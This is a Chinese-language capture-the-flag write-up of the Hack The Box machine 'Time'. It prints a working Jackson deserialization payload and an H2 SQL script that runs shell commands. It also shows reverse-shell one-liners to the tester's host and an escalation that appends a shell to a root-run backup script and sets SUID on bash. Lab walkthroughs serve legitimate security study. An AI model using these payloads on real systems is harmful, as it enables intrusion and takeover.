HTB-Time
- 信息收集
- 80端口
- 立足
- pericles -> root
信息收集
80端口
有两个功能,一个是美化JSON数据。
一个是验证JSON,并且输入{“abc”:“abc”}之类的会出现报错。
Validation failed: Unhandled Java exception:
com.fasterxml.jackson.core.JsonParseException: Unexpected character
(‘’’ (code 39)): expected a valid value (number, String, array,
object, ‘true’, ‘false’ or ‘null’)
根据报错可知是java jackson的报错。有关java jackson的漏洞非常多。其中有一篇文章提到几个负载。
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://10.10.14.31:4443/~test"}]
立足
新建一个文件名为inject1.sql。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.31/443 0>&1')
python开启http.server。然后在验证功能下输入:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.31:8000/inject1.sql'"}]
pericles -> root
pspy64可以看到有一个timer_backup.sh没几秒种就会运行一次。
内容如下:
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
以及/usr/bin/systemctl restart web_backup.service
。
查找web_backup.service
并查看内容:
find / -name web_backup.service -type f 2>/dev/null
/etc/systemd/system/web_backup.servicepericles@time:/tmp$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
因为隔几秒种会重启web_backup.service,web_backup.service服务又会运行/usr/bin/timer_backup.sh。
还有一个/bin/sh -c /usr/bin/systemctl restart timer_backup.timer
,不过我暂时不需要,留在这备用。
我们能写入timer_backup.sh
但是时间任务并没执行我写入的内容,可能还有时间任务先对timer_backup.sh
进行重置再运行。顺序是某个东西启动web_backup.service
,web_backup.service
启动timer_backup.sh
。但是我没找到那个东西是什么。所以我决定再尝试对timer_backup.sh
追加写入试试。向末尾添加cp /bin/bash /tmp/bash;chmod u+s /tmp/bash
后等待片刻后仍无任何成功迹象。写入reshell到/usr/bin/timer_backup.sh里能成功。
echo -e '\nbash -i >& /dev/tcp/10.10.14.31/4443 0>&1' >> /usr/bin/timer_backup.sh
但是几秒钟后就没了。
可以用echo “chmod u+s /bin/bash” 修改/bin/bash,但为什么不能复制过来后再修改呢。
我不知道。